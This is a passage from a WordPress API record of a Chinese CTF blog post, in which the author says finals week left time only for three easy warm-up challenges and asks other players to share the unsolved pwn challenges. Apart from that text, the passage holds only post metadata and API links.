#D8DEE9FF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>\u4f9d\u7a00\u8bb0\u5f97\u5403\u5b8c\u7684\u65f6\u5019\u8fd8\u8981\u96f6\u89e3\u9898\uff0c\u5982\u679c\u6709\u6253\u7684\u5e08\u5085\u770b\u5230\u8fd9\u7bc7\u6587\u7ae0\uff0c\u80fd\u4e0d\u80fd\u53d1\u53d1\u5269\u4e0b\u7684pwn\u9898\uff0c\u5fd8\u4e0b\u8f7d\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u5fd9\u671f\u672b\u5468\u4f30\u8ba1\u4e5f\u6ca1\u5565\u65f6\u95f4\u6253\u5c31\u662f\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u539f\u672c\u60f3\u7740\u53bb\u5e74\u6253HE\u7684\u65f6\u5019\u597d\u50cf\u6ca1\u505a\u51fa\u4ec0\u4e48\u9898\u4eca\u5e74\u597d\u597d\u6765\u590d\u4ec7\uff08bushi\uff09\uff0c\u4f46\u4eca\u5e74\u78b0\u4e0a\u671f\u672b\u5468\u62fc\u5c3d\u5168\u529b\u65e0\u6cd5\u6218\u80dc\u4e86\uff0c\u5c31\u8fd9\u6837\u5427\uff08\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7531\u4e8e\u671f\u672b\u7684\u539f\u56e0\u5c31\u5403\u996d\u7684\u65f6\u5019\u770b\u4e86\u4e24\u773c\uff08\uff1f\uff09 \u505a\u7684\u4e09\u9053\u90fd\u7b7e\u5230\u7ea7\uff08\uff09 nc\u59d1\u4e14\u5c31\u4e0d\u8bf4\u4e86\uff0c\u8fde\u4e0a\uff0c\u597d\u50cf\u5c31\u6ca1\u4ec0\u4e48\u96be\u70b9\u4e86 e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-777","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/777","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=777"}],"version-history":[{"count":1,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/777\/revisions"}],"predecessor-version":[{"id":778,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/777\/revisions\/778"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=777"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=777"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=777"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}